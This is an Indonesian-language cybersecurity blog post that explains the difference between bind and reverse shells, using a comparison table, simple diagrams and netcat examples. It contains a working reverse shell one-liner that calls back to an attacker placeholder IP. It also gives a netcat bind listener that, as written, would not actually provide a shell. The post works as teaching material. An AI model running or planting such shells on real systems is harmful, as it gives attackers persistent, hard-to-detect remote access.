Lewati ke konten utama
  1. Contents/
  2. Cyber Security/

Bind dan Reverse Shell

·404 kata·2 menit· loading · loading ·
Pentesting Security Exploitation
aaidilz
Penulis
aaidilz
I’m a human, I swear.
Daftar isi

Setelah berhasil mendapatkan akses ke sistem target, biasanya dilakukan oleh attacker adalah mempertahankan akses ke sistem tersebut. Salah satu teknik yang sering digunakan untuk mempertahankan akses adalah dengan menggunakan Bind Shell atau Reverse Shell.

Perbedaan antara Bind dan Reverse Shell
#

AspekBind ShellReverse Shell
DefinisiSebuah shell yang “mengikat” ke port tertentu pada target, menunggu koneksi dari penyerang.Sebuah shell yang diinisiasi oleh target dengan menghubungi mesin penyerang.
Inisiasi KoneksiPenyerang menghubungi target secara langsung.Target menghubungi penyerang untuk memulai koneksi.
PortTarget membuka port yang dapat diakses oleh penyerang.Penyerang membuka port yang akan dihubungi oleh target.
FirewallDapat dicegah jika firewall memblokir port yang dibuka oleh target.Lebih sulit dicegah karena koneksi keluar biasanya diizinkan oleh firewall.
KeamananLebih mudah terdeteksi karena port terbuka pada target.Lebih sulit terdeteksi karena memanfaatkan koneksi keluar yang sering diizinkan.

Gambaran sederhana
#

Bind Shell
#

flowchart RL A[Attacker] --> B[Server]

Attacker akan membuka koneksi server untuk mendapatkan akses shell.

Reverse Shell
#

flowchart LR A[Server] --> B[Attacker]

Server akan membuka koneksi ke attacker untuk mendapatkan akses shell.

Implementasi Sedehana
#

Pada kasus ini, kita akan menggunakan nc untuk membuat bind dan reverse shell. yang akan digunakan untuk membuat koneksi shell antara attacker dan server. Secara default, nc tersedia di sistem operasi Linux, tetapi jika menggunakan sistem operasi seperti Windows, sehingga dapat menginstalnya secara manual.

$ sudo apt install nc

Bind Shell
#

Asumsikan sudah ada akses terminal server dan kita ingin membuat bind shell pada port 4444

server@administrator ~ $ nc -lnvp 4444

Maka attacker dapat terhubung ke server dengan output sebagai berikut:

attacker@ubuntu2404 ~ $ nc <server_ip> 4444
server@administrator ~ $ whoami
server

Catatan: Penggunaan bind shell cenderung lebih mudah terdeteksi karena port terbuka pada target.

Reverse Shell
#

Misalkan belum ada akses ke terminal server, attacker akan membuat reverse shell pada port 9999 Asumsikan telah mengeksekusi script berdasarkan interaksi user pada server:

#file: shell.sh
sh -i >& /dev/tcp/<attacker_ip>/9999 0>&1

Maka server akan terhubung ke attacker dengan output sebagai berikut:

attacker@ubuntu2404 ~ $ nc -lnvp 9999
# user execute the script by running `shell.sh`
server@administrator ~ $
server@administrator ~ $ whoami
server

Kesimpulan
#

Dengan menggunakan Bind Shell atau Reverse Shell, attacker dapat mempertahankan akses ke sistem target. Namun, perlu diingat bahwa penggunaan Bind Shell cenderung lebih mudah terdeteksi karena port terbuka pada target. Sebaliknya, Reverse Shell lebih sulit terdeteksi karena memanfaatkan koneksi keluar yang sering diizinkan oleh firewall.

Terima kasih :)

Terkait

Port Scanning and Service Enumeration
·517 kata·3 menit· loading · loading
Pentesting Security Reconnaissance
Bagaimana cara SNI bekerja?
·488 kata·3 menit· loading · loading
Infrastructure Network Security
Basic Website Reconnaissance
·569 kata·3 menit· loading · loading
Cyber Security Security Reconnaissance